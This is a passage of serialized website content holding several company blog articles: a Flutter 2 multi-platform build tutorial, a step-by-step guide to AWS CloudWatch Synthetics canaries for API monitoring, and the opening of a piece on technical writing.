.ipa file normally from then",[438,7444],{"className":7445,"alt":66,"src":7446,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29131227\u002FScreen-Shot-2021-03-29-at-13.12.14-1024x199.png",[11,7448,7449,7450,7453,7454,7457],{},"Note: besides ",[51,7451,7452],{},"--profile"," flag you can also choose ",[51,7455,7456],{},"--release"," flag for release mode,(Flutter has 3 build mode: debug, profile and release mode)",[403,7459,7461],{"id":7460},"run-in-web","Run in Web",[11,7463,7414,7464,7466,7467,7470],{},[20,7465,7417],{},", select ",[20,7468,7469],{},"Chrome"," as run device",[438,7472],{"className":7473,"alt":66,"src":7474,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29105750\u002Fselect_device.png",[11,7476,7477],{},"Then you will see what exactly with iOS version",[438,7479],{"className":7480,"alt":66,"src":7481,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29124734\u002Fchrome_result-1024x960.png",[1693,7483,7485],{"id":7484},"build-to-html","Build to html",[605,7487,7490],{"className":7488,"code":7489,"language":610},[608],"flutter2 build web --web-renderer html --profile\n",[612,7491,7489],{"__ignoreMap":66},[11,7493,7494,7496,7497,7500,7501,7504],{},[51,7495,7452],{},": build mode (",[51,7498,7499],{},"profile"," or ",[51,7502,7503],{},"release"," flag)",[11,7506,7507,7510],{},[51,7508,7509],{},"--web-renderer html",": render mode, there are 3 options:",[31,7512,7513,7519,7525],{},[34,7514,7515,7518],{},[51,7516,7517],{},"auto",": When app run in mobile browser, it will use HTML render. In case app run in desktop browser, it will use CanvasKit renderer",[34,7520,7521,7524],{},[51,7522,7523],{},"html",": App always use HTML render.",[34,7526,7527,7530],{},[51,7528,7529],{},"canvaskit",": App always use Canvaskit render.",[11,7532,7533,7534,7537],{},"Above command will output .html, .css, .js files at build\u002Fweb\u002F folder. If you try running ",[51,7535,7536],{},".\u002Fbuild\u002Fweb\u002Findex.html"," directly in Chrome, you may have the following error:",[605,7539,7542],{"className":7540,"code":7541,"language":610},[608],"Access to internal resource at 'file:\u002F\u002F\u002Fmanifest.json' from origin 'null' has been blocked by CORS policy: \nCross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, chrome-untrusted, https.\n",[612,7543,7541],{"__ignoreMap":66},[11,7545,7546,7547,7552,7553,7556,7557,7560],{},"To avoid that, you can use a Chrome's extension named ",[55,7548,7551],{"href":7549,"rel":7550},"https:\u002F\u002Fchrome.google.com\u002Fwebstore\u002Fdetail\u002Fweb-server-for-chrome\u002Fofhbbkphhbklhfoeikjpcbhemlocgigb?hl=en)",[59],"Web Server for Chrome"," to simulate a local server on the folder ",[51,7554,7555],{},".\u002Fbuild\u002Fweb\u002F"," then you can try to run ",[51,7558,7559],{},"index.html"," again.",[403,7562,7564],{"id":7563},"run-in-mac-os","Run in Mac OS",[11,7566,7567],{},"You need to enable desktop develop first",[31,7569,7570],{},[34,7571,7572,7573,7576],{},"For ",[20,7574,7575],{},"MacOS"," development",[605,7578,7581],{"className":7579,"code":7580,"language":610},[608],"flutter2 config --enable-macos-desktop\n",[612,7582,7580],{"__ignoreMap":66},[31,7584,7585],{},[34,7586,7572,7587,7576],{},[20,7588,7589],{},"Windows",[605,7591,7594],{"className":7592,"code":7593,"language":610},[608],"flutter2 config --enable-windows-desktop\n",[612,7595,7593],{"__ignoreMap":66},[31,7597,7598],{},[34,7599,7572,7600,7576],{},[20,7601,7602],{},"Linux",[605,7604,7607],{"className":7605,"code":7606,"language":610},[608],"flutter2 config --enable-linux-desktop\n",[612,7608,7606],{"__ignoreMap":66},[11,7610,7611],{},"Then add desktop support to existing project",[605,7613,7616],{"className":7614,"code":7615,"language":610},[608],"flutter2 create --platforms=windows,macos,linux .\n",[612,7617,7615],{"__ignoreMap":66},[11,7619,7620],{},"You can choose what OS as you want (windows\u002Fmacos\u002Flinux).",[11,7622,7623,7624,7627],{},"From VSCode, select desktop version as run device(in here we select ",[20,7625,7626],{},"macOS",")",[438,7629],{"className":7630,"alt":66,"src":7631,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29140531\u002Fselect_desktop.png",[11,7633,7634],{},"Then run, that all!!",[438,7636],{"className":7637,"alt":66,"src":7638,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29140649\u002Fdesktop_version-1024x738.png",[1693,7640,7642],{"id":7641},"output-to-app-file","Output to .app file",[605,7644,7647],{"className":7645,"code":7646,"language":610},[608],"flutter2 build macos --profile\n",[612,7648,7646],{"__ignoreMap":66},[11,7650,7651,7652,7655,7656,7659,7660,7662],{},"Above command will output ",[51,7653,7654],{},"sample_flutter2.app"," file at ",[51,7657,7658],{},"\u002Fbuild\u002Fmacos\u002FBuild\u002FProducts\u002FProfile"," with profile build mode (you can select ",[51,7661,7456],{}," flag if you want)",[403,7664,7666],{"id":7665},"flutters-pros-good-points","Flutter's pros (Good points)",[31,7668,7669,7672,7675,7683,7689,7692,7695],{},[34,7670,7671],{},"Obviously, the best of Flutter is multi-platform supported, which is the good choice for start-up to start with. We can implement from iOS or Android  then re-use source code for Web version in the future with the cost is much below than building from the beginning in each platform.",[34,7673,7674],{},"The app UI and logic don’t change depending on the platform, it look and work exactly in every platform.",[34,7676,7677,7678],{},"Flutter is growing very fast with many 3rd party libraries at ",[55,7679,7682],{"href":7680,"rel":7681},"https:\u002F\u002Fpub.dev\u002F",[59],"pub.dev",[34,7684,7685,7688],{},[20,7686,7687],{},"Hot reload"," easily with VSCode or Android Studio, so compare with native languages like Swift, Kotlin, developing progress will save a ton of time for debugging, which save much cost in development progress.",[34,7690,7691],{},"Reduce UI coding time with a lot of custom and ready-made Widget.",[34,7693,7694],{},"Dart is a simple to learn language, many people with little coding knowledge can develop prototypes and apps.",[34,7696,7697,7698,7703,7704],{},"Flutter documentations are also highly recommended, those are from the ",[55,7699,7702],{"href":7700,"rel":7701},"https:\u002F\u002Fwww.youtube.com\u002Fplaylist?list=PLOU2XLYxmsIL0pH0zWe_ZOHgGhZ7UasUE",[59],"UI tutorial"," understanding easily to the ",[55,7705,7708],{"href":7706,"rel":7707},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Fui\u002Flayout\u002Fconstraints",[59],"detailed document",[403,7710,7712],{"id":7711},"flutters-cons-disadvantages","Flutter's cons (Disadvantages)",[31,7714,7715,7718,7721,7724],{},[34,7716,7717],{},"First of all,Dart is not a widespread language compared to Kotlin, Swift, so you need to learn a new language (Dart), new concepts(BLOC,Widgets,..) for Flutter development",[34,7719,7720],{},"You still need a good base knowledge in native languages(Swift, kotlin) to solve problems in a specific platform, a OS version, or even in a specific device models which Android has so many trouble on this.",[34,7722,7723],{},"Not all 3rd libraries support all your expected platforms. Almost of them support iOS and Android (or 1 in 2 only).",[34,7725,7726],{},"When developing, the error screen that you get when there’s a layout error (or something else at a lower level) can be very confusing.",[438,7728],{"className":7729,"alt":66,"src":7730,"style":7731},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29142020\u002Ferror.png","width: 20%;",[31,7733,7734,7743],{},[34,7735,7736,7737,7742],{},"There are still animation issues (",[55,7738,7741],{"href":7739,"rel":7740},"https:\u002F\u002Fgithub.com\u002Fflutter\u002Fflutter\u002Fissues\u002F61450",[59],"for example","), so please consider this if you want to build an app with complex animation effects.",[34,7744,7745,7746,7751],{},"This framework basically aim for building mobile applications so with web or desktop platforms, there are some different UI, UX, so you can not take them all(business, UI, UX) to every platform with the same code. Solution for this issue: you can create common components, business process in a package (",[55,7747,7750],{"href":7748,"rel":7749},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Fpackages-and-plugins\u002Fdeveloping-packages",[59],"how to do",") then create different projects for each platform implementing those package. Perhaps this is not the best solution but at least you sill can share the common point in every platforms.",[403,7753,7755],{"id":7754},"overview","Overview",[11,7757,7758],{},"Flutter has many more advantages for business and development teams than risks. It’s a great chance to build beautiful, high-performance, and outstanding apps that fit your custom needs and requirements. It’s worth considering Flutter, especially if you want an app both for iOS and Android.",[11,7760,7761],{},"Flutter 2 is already available, give it a try and we believe you wont't regret about that!",[403,7763,7765],{"id":7764},"refers","Refers",[31,7767,7768,7773,7778,7784,7790,7796,7801],{},[34,7769,7770],{},[55,7771,7247],{"href":7247,"rel":7772},[59],[34,7774,7775],{},[55,7776,7235],{"href":7235,"rel":7777},[59],[34,7779,7780],{},[55,7781,7782],{"href":7782,"rel":7783},"https:\u002F\u002Fmedium.com\u002Fcoding-with-flutter\u002Fwhats-great-about-flutter-c1b4e44c69ac",[59],[34,7785,7786],{},[55,7787,7788],{"href":7788,"rel":7789},"https:\u002F\u002Fwww.thedroidsonroids.com\u002Fblog\u002Fflutter-in-mobile-app-development-pros-and-cons-for-app-owners",[59],[34,7791,7792],{},[55,7793,7794],{"href":7794,"rel":7795},"https:\u002F\u002Fflutter.dev",[59],[34,7797,7798],{},[55,7799,7680],{"href":7680,"rel":7800},[59],[34,7802,7803],{},[55,7804,7700],{"href":7700,"rel":7805},[59],{"title":66,"searchDepth":67,"depth":67,"links":7807},[7808,7809,7810,7811,7812,7813,7814,7815,7816],{"id":7299,"depth":67,"text":7300},{"id":7375,"depth":67,"text":7376},{"id":7410,"depth":67,"text":7411},{"id":7460,"depth":67,"text":7461},{"id":7563,"depth":67,"text":7564},{"id":7665,"depth":67,"text":7666},{"id":7711,"depth":67,"text":7712},{"id":7754,"depth":67,"text":7755},{"id":7764,"depth":67,"text":7765},[1319,1318],"2021-04-22","At 2021\u002F3\u002F4, Flutter2 was released with new features added: Web's , desktop's support has been in stable channel (they were in beta channel before), which mean you can bring your app officially to Web, Mac OS and Windows OS.",{},"\u002Fnews\u002Fflutter2",{"title":7227,"description":7819},"news\u002Fflutter2","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F06103446\u002Fflutter2.png","usRtTzz7UUeW8NgKYZ4UtfzVvJHqNqUnb0BrZM_AxU8",{"id":7827,"title":7828,"body":7829,"category":1319,"created by":70,"date":8304,"description":8305,"extension":72,"meta":8306,"navigation":74,"path":8307,"sections":76,"seo":8308,"stem":8309,"thumbnail":8310,"__hash__":8311},"content_en\u002Fnews\u002Fgiam-sat-api-su-dung-amazon-cloudwatch-synthetics-canaries.md","MONITORING API USING AMAZON CLOUDWATCH SYNTHETICS CANARIES",{"type":8,"value":7830,"toc":8293},[7831,7835,7841,7844,7848,7851,7854,7857,7861,7870,7883,7887,7892,7896,7899,7906,7913,7920,7923,7928,7937,7941,7946,7949,7954,7957,7962,7965,7985,7990,7993,7998,8001,8006,8009,8014,8019,8023,8029,8033,8043,8047,8057,8061,8071,8075,8086,8089,8099,8103,8113,8117,8126,8130,8140,8144,8150,8154,8158,8165,8174,8178,8183,8187,8192,8196,8201,8205,8209,8212,8216,8222,8226,8233,8237,8248,8252,8261,8267,8273,8275,8278,8280,8287],[403,7832,7833],{"id":3630},[20,7834,3631],{},[565,7836,7838],{"id":7837},"aws-cloudwatch",[20,7839,7840],{},"AWS CloudWatch",[11,7842,7843],{},"As a service to help monitor, aggregate, and analyze data, resources running on AWS. This service helps to provide practical information in real-time, allowing monitoring of memory areas of applications, infrastructure, and services such as Ram, Disk,... and use alerts; help optimize application performance, manage resource usage, and understand the health of your entire system, AWS resources, and customer applications running on Amazon's infrastructure.",[565,7845,7847],{"id":7846},"aws-canary","AWS Canary",[11,7849,7850],{},"Created from Amazon CloudWatch Synthetics for monitoring your endpoints and APIs. Canaries are programmable scripts that follow a route and perform the same actions as a customer, which makes it possible to continuously verify your customer experience even when you don't have any customer traffic on your applications. By using canaries, you can discover issues before your customers do. Canaries can be set to run on a set schedule.",[11,7852,7853],{},"Canaries are scripts written in Node.js or Python. Canaries work over both HTTP and HTTPS protocols.",[11,7855,7856],{},"Canaries check the availability and latency of your endpoints and can store load time data and screenshots of the UI. They monitor your REST APIs, URLs, and website content, and they can check for unauthorized changes from phishing, code injection and cross-site scripting.",[403,7858,7860],{"id":7859},"steps-to-create-a-canary","Steps to create a Canary",[11,7862,7863,7865,7866],{},[20,7864,431],{},": Open the CloudWatch console at ",[55,7867,7868],{"href":7868,"rel":7869},"https:\u002F\u002Fconsole.aws.amazon.com\u002Fcloudwatch\u002F",[59],[11,7871,7872,7875,7876,7879,7880],{},[20,7873,7874],{},"Step 2:"," In the navigation pane, choose ",[20,7877,7878],{},"Application monitoring -> Synthetics Canaries."," Then choose ",[20,7881,7882],{},"Create Canary.",[438,7884],{"className":7885,"alt":66,"src":7886,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21142022\u002Fcreate-canary-1-1.png",[11,7888,7889,212],{},[20,7890,7891],{},"Step 3:",[438,7893],{"className":7894,"alt":66,"src":7895,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21141000\u002Fcreate-canary-2.png",[11,7897,7898],{},"Choose one of the following ways:",[11,7900,7901,7902,7905],{},"1. Choose \"",[20,7903,7904],{},"Use a blueprint","\": Use the built-in template scripts",[11,7907,7908,7909,7912],{},"2. Choose \"I",[20,7910,7911],{},"nline Editor","\": To upload your Node.js script to create a custom canary",[11,7914,7915,7916,7919],{},"3. Choose \"I",[20,7917,7918],{},"mport from S3","\": To import your script from the S3 bucket",[11,7921,7922],{},"Note: This way, you must have s3:GetObject and s3:GetObjectVersion permissions for the S3 bucket you use.",[11,7924,7925],{},[20,7926,7927],{},"In this article, I will use the \"Use a blueprint\" option.",[11,7929,7930,7933,7934,7936],{},[20,7931,7932],{},"Step 4:","  After selecting \"",[20,7935,7904],{},"\" you will see the available template scripts below:",[438,7938],{"className":7939,"alt":66,"src":7940,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21143125\u002Fcreate-canary-3.png",[11,7942,7943],{},[20,7944,7945],{},"Heartbeat monitoring:",[11,7947,7948],{},"Heartbeat scripts load the specified URL and store a screenshot of the page and an HTTP archive file (HAR file). They also store logs of accessed URLs. You can use the HAR files to view detailed performance data about the web pages. You can analyze the list of web requests and catch performance issues such as time to load for an item.",[11,7950,7951],{},[20,7952,7953],{},"API canary:",[11,7955,7956],{},"Can test the basic Read and Write functions of a REST API. Can work with any APIs and test all types of functionality. Each canary can make multiple API calls.",[11,7958,7959],{},[20,7960,7961],{},"Broken Link Checker:",[11,7963,7964],{},"Collects all the links inside the URL that you are testing.\nDetects the following types of link errors:",[31,7966,7967,7970,7973,7976,7979,7982],{},[34,7968,7969],{},"404 Page Not Found, Bad URL",[34,7971,7972],{},"Invalid Host Name",[34,7974,7975],{},"Invalid HTTP response code",[34,7977,7978],{},"The HTTP requests constantly time out during the canary's run",[34,7980,7981],{},"The host consistently drops connections because it is misconfigured or is too busy",[34,7983,7984],{},"The host server returns empty responses with no content and no response code",[11,7986,7987],{},[20,7988,7989],{},"Canary Recorder:",[11,7991,7992],{},"With the canary recorder blueprint, you can use the CloudWatch Synthetics Recorder to record your click and type actions on a website and automatically generate a Node.js script that can be used to create a canary that follows the same steps. The CloudWatch Synthetics Recorder is a Google Chrome extension provided by Amazon.",[11,7994,7995],{},[20,7996,7997],{},"GUI workflow builder:",[11,7999,8000],{},"The GUI Workflow Builder blueprint verifies that actions can be taken on your webpage.",[11,8002,8003],{},[20,8004,8005],{},"Visual monitoring:",[11,8007,8008],{},"The visual monitoring blueprint includes code to compare screenshots taken during a canary run with screenshots taken during a baseline canary run. If the discrepancy between the two screenshots is beyond a threshold percentage, the canary fails.",[11,8010,8011],{},[20,8012,8013],{},"In this article, I will use the \"API canary\" option.",[11,8015,8016,8018],{},[20,8017,1181],{}," Name your canary, here I name it canary-api.",[438,8020],{"className":8021,"alt":66,"src":8022,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21150801\u002Fcreate-canary-5-1024x226.png",[11,8024,8025,8028],{},[20,8026,8027],{},"Step 6:"," Add API HTTP request.",[438,8030],{"className":8031,"alt":66,"src":8032,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21151619\u002Fcreate-canary-6-1024x485.png",[11,8034,8035,8036,8039,8040,878],{},"This API HTTP request detail includes: Method, endpoint URL, Request Data, and Headers. After filling in this information, you will put a name in the ",[20,8037,8038],{},"Step name"," and click ",[20,8041,8042],{},"Save",[438,8044],{"className":8045,"alt":66,"src":8046,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21152636\u002Fcreate-canary-6.5-1024x408.png",[11,8048,8049,8052,8053,8056],{},[20,8050,8051],{},"Step 7:"," If you are using environment variables in your script, choose ",[20,8054,8055],{},"Environment variables"," and then specify a value for each environment variable defined in your script.",[438,8058],{"className":8059,"alt":66,"src":8060,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21153239\u002Fcreate-canary-7-1024x329.png",[11,8062,8063,8066,8067,8070],{},[20,8064,8065],{},"Step 8:"," At  ",[20,8068,8069],{},"Schedule"," you can choose the frequency for the canary runs, there are 3 options:",[438,8072],{"className":8073,"alt":66,"src":8074,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21154412\u002Fcreate-canary-8-1024x429.png",[31,8076,8077,8080,8083],{},[34,8078,8079],{},"Run continuously: run often",[34,8081,8082],{},"CRON expression: run based on the expression CRON",[34,8084,8085],{},"Run once: run once",[11,8087,8088],{},"Next, you choose the runtime for each canary. Here I choose Run continuously and run every 20 minutes.",[11,8090,8091,8094,8095,8098],{},[20,8092,8093],{},"Step 9:"," At ",[20,8096,8097],{},"Data retention"," you can set how long to store your canary data. The default is 31 days.",[438,8100],{"className":8101,"alt":66,"src":8102,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21163353\u002Fcreate-canary-9-1024x306.png",[11,8104,8105,8108,8109,8112],{},[20,8106,8107],{},"Step 10:"," In ",[20,8110,8111],{},"Data Storage",", this section is where the results of each canary run are stored. In s3 the default location will be pre-populated when you create a canary or you can choose an existing S3 to change.",[438,8114],{"className":8115,"alt":66,"src":8116,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21164141\u002Fcreate-canary-10-1024x414.png",[11,8118,8119,8094,8122,8125],{},[20,8120,8121],{},"Step 11:",[20,8123,8124],{},"Access permissions"," you can select an existing role or create a new role automatically by Synthetics to execute the canary.",[438,8127],{"className":8128,"alt":66,"src":8129,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21165837\u002Fcreate-canary-11-1024x272.png",[11,8131,8132,8135,8136,8139],{},[20,8133,8134],{},"Step 12:"," Leave the rest of the parameters at default and click \"",[20,8137,8138],{},"Create canary","\". The API canary may take a minute or two to construct.",[438,8141],{"className":8142,"alt":66,"src":8143,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21171320\u002Fcreate-canary-12-1024x524.png",[11,8145,8146,8149],{},[20,8147,8148],{},"Step 13:"," After successfully creating the canary the interface will look like this.",[438,8151],{"className":8152,"alt":66,"src":8153,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21171726\u002Fcreate-canary-13-1024x534.png",[403,8155,8157],{"id":8156},"create-a-group-for-canary","Create a group for Canary",[11,8159,8160,7865,8162],{},[20,8161,431],{},[55,8163,7868],{"href":7868,"rel":8164},[59],[11,8166,8167,7875,8169,7879,8171],{},[20,8168,7874],{},[20,8170,7878],{},[20,8172,8173],{},"Create Group.",[438,8175],{"className":8176,"alt":66,"src":8177,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22085451\u002Fcreate-canary-1-2-1024x396.png",[11,8179,8180,8182],{},[20,8181,7891],{}," Enter the group name.",[438,8184],{"className":8185,"alt":66,"src":8186,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22085705\u002Fcreate-canary-2.1.png",[11,8188,8189,8191],{},[20,8190,7932],{}," Search for the exact canary name and select to add to the group. Then press Create Group",[438,8193],{"className":8194,"alt":66,"src":8195,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22090102\u002Fcreate-canary-2.2.png",[11,8197,8198,8200],{},[20,8199,1181],{}," After creating a successful group, you will see that the canary you selected in the above step will be in the group to make it easier to manage the canary.",[438,8202],{"className":8203,"alt":66,"src":8204,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22090953\u002Fcreate-canary-2.3-1024x183.png",[403,8206,8208],{"id":8207},"view-canary-stats-and-details","View Canary stats and details",[11,8210,8211],{},"To view details about the canary, click on the corresponding canary name",[438,8213],{"className":8214,"alt":66,"src":8215,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22093303\u002Fcreate-canary-2.3-1-1024x183.png",[11,8217,8218,8221],{},[20,8219,8220],{},"Tab Availability:"," Will display information about the recent runs of this canary. Includes: Statistics of canary timelines running successfully or failing, as well as problems with errors as shown in the image below.",[438,8223],{"className":8224,"alt":66,"src":8225,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22094838\u002Fcreate-canary-2.5-1024x411.png",[11,8227,8228,8229,8232],{},"You can click ",[20,8230,8231],{},"Download artifacts"," to download the file and can view the detailed canary results after running.",[438,8234],{"className":8235,"alt":66,"src":8236,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22100553\u002Fcreate-canary-2.6-1024x318.png",[11,8238,8239,8242,8243],{},[20,8240,8241],{},"Tab Monitoring:"," Show a graph of CloudWatch metrics published by this canary. For more information on these indicators refer to: ",[55,8244,8247],{"href":8245,"rel":8246},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch%5C_Synthetics%5C_Canaries%5C_metrics.html",[59],"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch\\_Synthetics\\_Canaries\\_metrics.html",[438,8249],{"className":8250,"alt":66,"src":8251,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22102356\u002Fcreate-canary-2.7-1024x528.png",[11,8253,8254,507,8257,8260],{},[20,8255,8256],{},"Tab",[20,8258,8259],{},"Configuration:"," Displays configuration and schedule information about the canary.",[11,8262,8263,8266],{},[20,8264,8265],{},"Tab Groups",": Displays the groups that this canary is associated.",[11,8268,8269,8272],{},[20,8270,8271],{},"Tab Tags",": Displays the tags associated with the canary.",[403,8274,5257],{"id":5256},[11,8276,8277],{},"Use Amazon CloudWatch Synthetics to create canary to make monitoring your application's endpoints easier. You can continuously validate the user experience, even when there is no customer traffic to the application. This allows you to spot problems in front of your customers and make for the best user experience.",[403,8279,3866],{"id":3476},[11,8281,8282],{},[55,8283,8286],{"href":8284,"rel":8285},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch%5C_Synthetics%5C_Canaries.html",[59],"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch\\_Synthetics\\_Canaries.html",[11,8288,8289],{},[55,8290,8291],{"href":8291,"rel":8292},"https:\u002F\u002Fdev.to\u002Faws-builders\u002Fsynthetic-monitoring-using-aws-canaries-cloudwatch-12jb",[59],{"title":66,"searchDepth":67,"depth":67,"links":8294},[8295,8299,8300,8301,8302,8303],{"id":3630,"depth":67,"text":3631,"children":8296},[8297,8298],{"id":7837,"depth":1306,"text":7840},{"id":7846,"depth":1306,"text":7847},{"id":7859,"depth":67,"text":7860},{"id":8156,"depth":67,"text":8157},{"id":8207,"depth":67,"text":8208},{"id":5256,"depth":67,"text":5257},{"id":3476,"depth":67,"text":3866},"2023-01-10","Introduction AWS CloudWatch As a service to help monitor, aggregate, and analyze data, resources running on AWS. This service helps to provide practical information in real-time, allowing monitoring of memory areas of applications, infrastructure, and services such as Ram, Disk,... and use alerts; help optimize application performance, manage resource usage, and understand the health of your entire system, AWS resources, and customer applications running on Amazon's infrastructure.",{},"\u002Fnews\u002Fgiam-sat-api-su-dung-amazon-cloudwatch-synthetics-canaries",{"title":7828,"description":8305},"news\u002Fgiam-sat-api-su-dung-amazon-cloudwatch-synthetics-canaries","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F23162943\u002Flogo-canary-2.png","2AfX7F155WbOWo25cR9xstcBNWQgGxDsV33AGjTFonE",{"id":8313,"title":8314,"body":8315,"category":262,"created by":70,"date":8321,"description":259,"extension":72,"meta":8322,"navigation":74,"path":8323,"sections":76,"seo":8324,"stem":8325,"thumbnail":8326,"__hash__":8327},"content_en\u002Fnews\u002Fgiam-sat-va-kiem-soat-kiem-thu.md","(日本語) テストのモニタリングとコントロール",{"type":8,"value":8316,"toc":8319},[8317],[11,8318,259],{},{"title":66,"searchDepth":67,"depth":67,"links":8320},[],"2025-02-18",{},"\u002Fnews\u002Fgiam-sat-va-kiem-soat-kiem-thu",{"title":8314,"description":259},"news\u002Fgiam-sat-va-kiem-soat-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F17135210\u002FScreenshot-2025-02-17-135150.png","piM2HbEpnbrcAzyZL6nfbAfXZuvkiL-rI0uwxY53Bw8",{"id":8329,"title":8330,"body":8331,"category":8454,"created by":70,"date":8455,"description":8335,"extension":72,"meta":8456,"navigation":74,"path":8457,"sections":76,"seo":8458,"stem":8459,"thumbnail":8460,"__hash__":8461},"content_en\u002Fnews\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing.md","Introduction to Technical Writing technique",{"type":8,"value":8332,"toc":8452},[8333,8336,8339,8342,8349,8352,8357,8360,8365,8368,8371,8378,8381,8386,8389,8394,8397,8400,8407,8410,8413,8418,8421,8426,8429,8432,8435,8442,8445],[11,8334,8335],{},"In our company, Briswell, communication is a very common activity at work, whether in verbal or written. Consequently, we often experience misunderstandings or difficulties in conveying and understanding each other's opinions. To overcome this, we all have participated in a training session called Technical Writing.",[11,8337,8338],{},"So, what is Technical Writing? This is a way of writing that accurately and clearly conveys professional content or technical information to a specific audience. To illustrate, an example in our daily life that uses this writing technique is the user manual when buying things such as refrigerators, washing machines, etc., which we often throw away. It sounds theoretical and is reasonable to be thrown away, isn’t it?",[11,8340,8341],{},"Although I initially had the same mindset, after completing this course, I have learned a few techniques that I believe can improve my communication skill. So, before deciding to throw it away, why don’t we take a look at a few techniques together?",[203,8343,8344],{},[34,8345,8346],{},[20,8347,8348],{},"Fit documentation to your audience",[11,8350,8351],{},"Each person has different experiences and knowledge, so how they approach the same issue also differs. For example, when explaining the cause of an error to someone with no IT background, the developer might say:",[31,8353,8354],{},[34,8355,8356],{},"Because the file permission is set to 755, this user can’t create a folder.",[11,8358,8359],{},"With this sentence, the person without IT background may not understand what 755 means, and wonder why 755 is related to creating a folder. Therefore, to make it easier for this person to  understand, we can explain by this way:",[31,8361,8362],{},[34,8363,8364],{},"The system is configured that only the owner of a folder can create files within it, and the current user is not the owner of the folder, so they can’t create a 